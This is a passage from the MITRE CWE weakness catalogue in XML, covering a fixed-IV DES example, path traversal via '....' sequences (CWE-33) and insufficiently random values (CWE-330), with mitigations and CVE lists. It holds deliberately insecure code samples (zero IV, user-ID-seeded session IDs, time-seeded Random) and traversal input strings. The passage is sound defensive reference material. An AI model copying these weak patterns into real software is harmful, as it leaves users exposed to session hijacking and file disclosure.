								                <Code>public static void main() {</Code>
								                <Block>
									                  <Code/>
									                  <Code>byte[] text ="Secret".getBytes();</Code>
									                  <Code>byte[] iv ={</Code>
									                  <Block>
										                    <Code>0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00</Code>
									                  </Block>
									                  <Code>};</Code>
									                  <Code>KeyGenerator kg = KeyGenerator.getInstance("DES");</Code>
									                  <Code>kg.init(56);</Code>
									                  <Code>SecretKey key = kg.generateKey();</Code>
									                  <Code>Cipher cipher =
										Cipher.getInstance("DES/ECB/PKCS5Padding");</Code>
									                  <Code>IvParameterSpec ips = new IvParameterSpec(iv);</Code>
									                  <Code>cipher.init(Cipher.ENCRYPT_MODE, key, ips);</Code>
									                  <Code>return cipher.doFinal(inpBytes);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In both of these examples, the initialization vector (IV) is always a
							block of zeros. This makes the resulting cipher text much more
							predictable and susceptible to a dictionary attack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Functional_Areas>
				        <Functional_Area>Cryptography</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Initialization Vectors", Page
						42.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Not using a random IV with CBC mode</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Functional_Areas, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="33" Name="Path Traversal: '....' (Multiple Dot)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'....' (multiple dot) sequences that can resolve to a location that is outside
					of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The '....' manipulation is useful for bypassing some path traversal
						protection schemes. On some Windows systems, it is equivalent to "..\..\.."
						and might bypass checks that assume only two dots are valid. Incomplete
						filtering, such as removal of "./" sequences, can ultimately produce valid
						".." sequences due to a collapse into unsafe value (CWE-182).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Like the triple-dot CWE-32, this manipulation probably hides multiple
						weaknesses that should be made more explicit.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0240</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "/........../" in
						URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0773</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "...." in web
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1082</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "......" in web server (doubled
						triple dot?)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2121</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "......" in web server (doubled
						triple dot?)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0491</Observed_Example_Reference>
					          <Observed_Example_Description>multiple attacks using "..", "...", and "...." in
						different commands</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0615</Observed_Example_Reference>
					          <Observed_Example_Description>"..." or "...." in chat
						server</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'....' (multiple dot)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple Dot -
						'....'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="330" Name="Use of Insufficiently Random Values" Weakness_Abstraction="Class" Status="Usable">
			      <Description>
				        <Description_Summary>The software may use insufficiently random numbers or values in
					a security context that depends on unpredictable numbers.</Description_Summary>
				        <Extended_Description>
					          <Text>When software generates predictable values in a context requiring
						unpredictability, it may be possible for an attacker to guess the next value
						that will be generated, and use this guess to impersonate another user or
						access sensitive information.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be primary to many other weaknesses such as cryptographic errors,
						authentication errors, symlink following, information leaks, and
						others.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Computers are deterministic machines, and as such are unable to produce
						true randomness. Pseudo-Random Number Generators (PRNGs) approximate
						randomness algorithmically, starting with a seed from which subsequent
						values are calculated. There are two types of PRNGs: statistical and
						cryptographic. Statistical PRNGs provide useful statistical properties, but
						their output is highly predictable and forms an easy to reproduce numeric
						stream that is unsuitable for use in cases where security depends on
						generated values being unpredictable. Cryptographic PRNGs address this
						problem by generating output that is more difficult to predict. For a value
						to be cryptographically secure, it must be impossible or highly improbable
						for an attacker to distinguish between it and a truly random value.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When a protection mechanism relies on random values to restrict access
							to a sensitive resource, such as a session ID or a seed for generating a
							cryptographic key, then the resource being protected could be accessed
							by guessing the ID or key.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If software relies on unique, unguessable IDs to identify a resource,
							an attacker might be able to guess an ID for a resource that is owned by
							another user. The attacker could then read the resource, or pre-create a
							resource with the same ID to prevent the legitimate program from
							properly sending the resource to the intended user. For example, a
							product might maintain session information in a file whose name is based
							on a username. An attacker could pre-create this file for a victim user,
							then set the permissions so that the application cannot generate the
							session for the victim, preventing the victim from using the
							application.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When an authorization or authentication mechanism relies on random
							values to restrict access to restricted functionality, such as a session
							ID or a seed for generating a cryptographic key, then an attacker may
							access the restricted functionality by guessing the ID or key.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-11.4">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process and look for library functions that
							indicate when randomness is being used. Run the process multiple times
							to see if the seed changes. Look for accesses of devices or equivalent
							resources that are commonly used for strong (or weak) randomness, such
							as /dev/urandom on Linux. Look for library or system calls that access
							predictable information such as process IDs and system time.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a well-vetted algorithm that is currently considered to be strong
							by experts in the field, and select well-tested implementations with
							adequate length seeds.</Text>
						            <Text>In general, if a pseudo-random number generator is not advertised as
							being cryptographically secure, then it is probably a statistical PRNG
							and should not be used in security-sensitive contexts.</Text>
						            <Text>Pseudo-random number generators can produce predictable numbers if the
							generator is known and the seed can be guessed. A 256-bit seed is a good
							starting point for producing a "random enough" number.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider a PRNG that re-seeds itself as needed from high quality
							pseudo-random output sources, such as hardware devices.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.330.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use tools and techniques that require manual (human) analysis, such as
							penetration testing, threat modeling, and interactive tools that allow
							the tester to record and modify an active session. These may be more
							effective than strictly automated techniques. This is especially the
							case with weaknesses that are related to design and business
							rules.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-45">
					          <Intro_Text>This code generates a unique random identifier for a user's
						session.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function generateSessionID($userID){</Code>
							              <Block>
								                <Code> srand($userID);</Code>
								                <Code> return rand();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the seed for the PRNG is always the user's ID, the session ID
							will always be the same. An attacker could thus predict any user's
							session ID and potentially hijack the session.</Text>
						            <Text>This example also exhibits a Small Seed Space (CWE-339).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-46">
					          <Intro_Text>The following code uses a statistical PRNG to create a URL for a
						receipt that remains active for some period of time after a
						purchase.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String GenerateReceiptURL(String baseUrl) {</Code>
							              <Block>
								                <Code>Random ranGen = new Random();</Code>
								                <Code>ranGen.setSeed((new Date()).getTime());</Code>
								                <Code>return(baseUrl + ranGen.nextInt(400000000) + ".html");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code uses the Random.nextInt() function to generate "unique"
							identifiers for the receipt pages it generates. Because Random.nextInt()
							is a statistical PRNG, it is easy for an attacker to guess the strings
							it generates. Although the underlying design of the receipt system is
							also faulty, it would be more secure if it used a random number
							generator that did not produce predictable receipt identifiers, such as
							a cryptographic PRNG.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3278</Observed_Example_Reference>
					          <Observed_Example_Description>Crypto product uses rand() library function to
						generate a recovery key, making it easier to conduct brute force
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3238</Observed_Example_Reference>
					          <Observed_Example_Description>Random number generator can repeatedly generate
						the same value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2367</Observed_Example_Reference>
					          <Observed_Example_Description>Web application generates predictable session IDs,
						allowing session hijacking.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2158</Observed_Example_Reference>
					          <Observed_Example_Description>Password recovery utility generates a relatively
						small number of random passwords, simplifying brute force
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0255</Observed_Example_Reference>
					          <Observed_Example_Description>Cryptographic key created with a seed based on the
						system time.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5162</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel function does not have a good entropy
						source just after boot.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4905</Observed_Example_Reference>
					          <Observed_Example_Description>Blogging software uses a hard-coded salt when
						calculating a password hash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4929</Observed_Example_Reference>
					          <Observed_Example_Description>Bulletin board application uses insufficiently
						random names for uploaded files, allowing other users to access private
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3612</Observed_Example_Reference>
					          <Observed_Example_Description>Handheld device uses predictable TCP sequence
						numbers, allowing spoofing or hijacking of TCP
						connections.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2433</Observed_Example_Reference>
					          <Observed_Example_Description>Web management console generates session IDs based
						on the login time, making it easier to conduct session
						hijacking.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0166</Observed_Example_Reference>
					          <Observed_Example_Description>SSL library uses a weak random number generator
						that only generates 65,536 unique keys.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2108</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: insufficient precision causes extra zero
						bits to be assigned, reducing entropy for an API function that generates
						random numbers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2020</Observed_Example_Reference>
					          <Observed_Example_Description>CAPTCHA implementation does not produce enough
						different images, allowing bypass using a database of all possible
						checksums.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0087</Observed_Example_Reference>
					          <Observed_Example_Description>DNS client uses predictable DNS transaction IDs,
						allowing DNS spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0141</Observed_Example_Reference>
					          <Observed_Example_Description>Application generates passwords that are based on
						the time of day.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
				        <Functional_Area>Cryptography</Functional_Area>
				        <Functional_Area>Authentication</Functional_Area>
				        <Functional_Area>Session management</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.330.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-9" Local_Reference_ID="R.330.2">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.330.3">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 8, "Using Poor Random Numbers" Page
						259</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.330.4">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Randomness and Predictability</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Insecure Randomness</Mapped_Node_Name>
				        </Taxonomy_Mapping>
